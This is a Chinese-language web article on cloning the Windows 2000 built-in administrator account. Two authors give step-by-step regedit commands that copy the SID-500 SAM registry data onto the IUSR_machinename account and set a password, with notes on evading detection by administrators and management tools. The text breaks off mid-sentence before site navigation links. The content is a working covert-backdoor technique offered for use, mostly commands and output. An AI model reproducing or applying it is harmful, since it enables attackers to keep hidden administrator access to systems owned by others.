选择显示字体大小

克隆windows 2000管理员帐号

  首先要让大家知道的概念是在windows 2000和windows nt里,默认管理员帐号的sid是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将sid为500的帐号进行克隆,在这里我们选择的帐号是iusr_machinename(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为windows 2000 server。

  运行一个system的cmd shell( http://www.sometips.com/tips/scripts/173.htm 或使用 http://www.sometips.com/soft/psu.exe),然后在该cmd shell里面运行 regedit /e adam.reg hkey_local_machine\sam\sam\domains\account\users\000001f4 这样我们将sid 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行-[hkey_local_machine\sam\sam\domains\account\users\000001f4]最后的'1f4'修改为iusr_machinename的sid(大部分的机器该用户的sid都为0x3e9,如果机器在最初安装的时候没有安装iis,而自己创建了帐号后再安装iis就有可能不是这个值),将root.reg文件中的'1f4'修改为'3e9'后执行 regedit /s adam.reg 导入该reg文件

  然后运行

 .net user iusr_machinename sometips

  修改iusr_machinename的密码(最好使用14位的密码,越像iusr_machinename的密码越好)

  ok,大功告成...

  这样,我们拥有和默认管理员一样的桌面、一样的profile.....

  而且,当我们运行.net localgroup administrators 时,看看结果:

  c:\>.net localgroup administrators

  alias name administrators

  comment administrators have complete and unrestricted access to the computer/domain

  members

  ------------------------------------------------------------------------------

  administrator

  the command completed successfully.

  再看看user2sid的输出结果:

  c:\>user2sid administrator

  s-1-5-21-1004336348-1078145449-854245398-500

  number of subauthorities is 5

  domain is idontknow

  length of sid in memory is 28 bytes

  type of sid is sidtypeuser

  c:\>user2sid iusr_machinename

  s-1-5-21-1004336348-1078145449-854245398-1001

  number of subauthorities is 5

  domain is idontknow

  length of sid in memory is 28 bytes

  type of sid is sidtypeuser   
  我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用iusr_machinename,密码为sometips登陆...(没有哪位大侠级的管理员喜欢经常修改iusr_machinename为其他的名字吧)

  ^_^,这算不算rootkit...

  附:

  1、感谢叮叮付出需要reinstall os的代价...

  2、任何用以上方法进行试验所导致的系统无法使用均与偶无关,偶均不提供技术支持...

  -----------------------------------------------------------------------------

  叮叮 的补充完善

  很多人提到使用了管理工具的用户管理后,能够发现iusr_machinename被提升了权限。

  现给出解决办法。

  方法同上,不过这次修改内容多一些。即

  这次要导出两个key内容:

  一个是adam提到的

  regedit /e adam.reg hkey_local_machine\sam\sam\domains\account\users\000001f4

  然后另外一个是你需要修改那个账号的值

  regedit /e iusr.reg hkey_local_machine\sam\sam\domains\account\users\000003e9

  然后按照adam提到的修改adam.reg

  “将adam.reg文件的第三行--[hkey_local_machine\sam\sam\domains\account\users\000001f4]最后的'1f4'修改为iusr_machinename的sid”

  现在,你还要从iusr.reg文件中复制一下内容

  就是将iusr.reg文件中“'v'=hex:0”开始一直到iusr.reg文件结束部分复制下来

  然后替换掉adam.reg中同样位置的部分

  最后使用

  regedit /s adam.reg

  导入该reg文件

  呵呵,别忘了给这个iusr_machinename改密码哦。

  hehe,ok,大功告成。

  现在iusr_machinename账号拥有了管理员的权限,但是你使.net.exe和


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons